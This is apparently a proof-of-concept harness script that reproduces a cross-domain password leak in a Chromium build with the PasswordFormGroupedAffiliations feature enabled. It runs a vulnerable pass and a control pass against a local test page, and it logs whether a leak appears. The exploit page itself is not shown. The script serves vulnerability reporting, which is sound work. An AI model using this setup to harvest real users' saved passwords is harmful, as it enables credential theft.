#!/bin/bash
# Reproduces the cross-domain grouped-affiliation password leak.
#
# Usage: ./run-poc.sh [/path/to/out/asan/chrome]
set -u

CHROME="${1:-/chromium/chromium/src/out/asan/chrome}"
HERE="$(cd "$(dirname "$0")" && pwd)"
PROFILE="$(mktemp -d /tmp/chrome-poc-profile.XXXXXX)"
LOG="$HERE/poc-output.log"

cleanup() {
  kill "$SERVER_PID" 2>/dev/null || true
  rm -rf "$PROFILE"
}
trap cleanup EXIT

python3 "$HERE/server.py" &
SERVER_PID=$!
sleep 1

#   --enable-features=PasswordFormGroupedAffiliations
#       The feature under test. When enabled, grouped (cross-domain) credentials
#       are included alongside exact matches.
#   --disable-features=fill-on-account-select
#       fill-on-account-select is DISABLED_BY_DEFAULT on Windows / macOS /
#       ChromeOS (the production-relevant platforms). It is only temporarily
#       enabled on Linux as a workaround for an unrelated crash; the source
#       carries a TODO to disable it again. We set it to its non-Linux default
#       so the Linux build behaves like the other desktop platforms.
#   --password-store=basic
#       Use the in-process password store rather than the system keyring. This
#       is environment plumbing only; it does not affect what is sent to the
#       renderer.
echo "=== VULNERABLE RUN (PasswordFormGroupedAffiliations enabled) ===" | tee "$LOG"
timeout 45 "$CHROME" \
  --no-first-run --no-default-browser-check --no-sandbox \
  --user-data-dir="$PROFILE" \
  --password-store=basic \
  --enable-features=PasswordFormGroupedAffiliations \
  --disable-features=fill-on-account-select \
  --headless=new \
  --virtual-time-budget=8000 \
  http://localhost:18472/poc.html 2>&1 | grep -E '^\[POC\]' | tee -a "$LOG"

rm -rf "$PROFILE"; mkdir -p "$PROFILE"

echo | tee -a "$LOG"
echo "=== CONTROL RUN (PasswordFormGroupedAffiliations disabled) ===" | tee -a "$LOG"
timeout 45 "$CHROME" \
  --no-first-run --no-default-browser-check --no-sandbox \
  --user-data-dir="$PROFILE" \
  --password-store=basic \
  --disable-features=fill-on-account-select,PasswordFormGroupedAffiliations \
  --headless=new \
  --virtual-time-budget=8000 \
  http://localhost:18472/poc.html 2>&1 | grep -E '^\[POC\]' | tee -a "$LOG"

echo
if grep -q 'LEAK' "$LOG"; then
  echo "RESULT: leak reproduced — see $LOG"
else
  echo "RESULT: no leak observed"
fi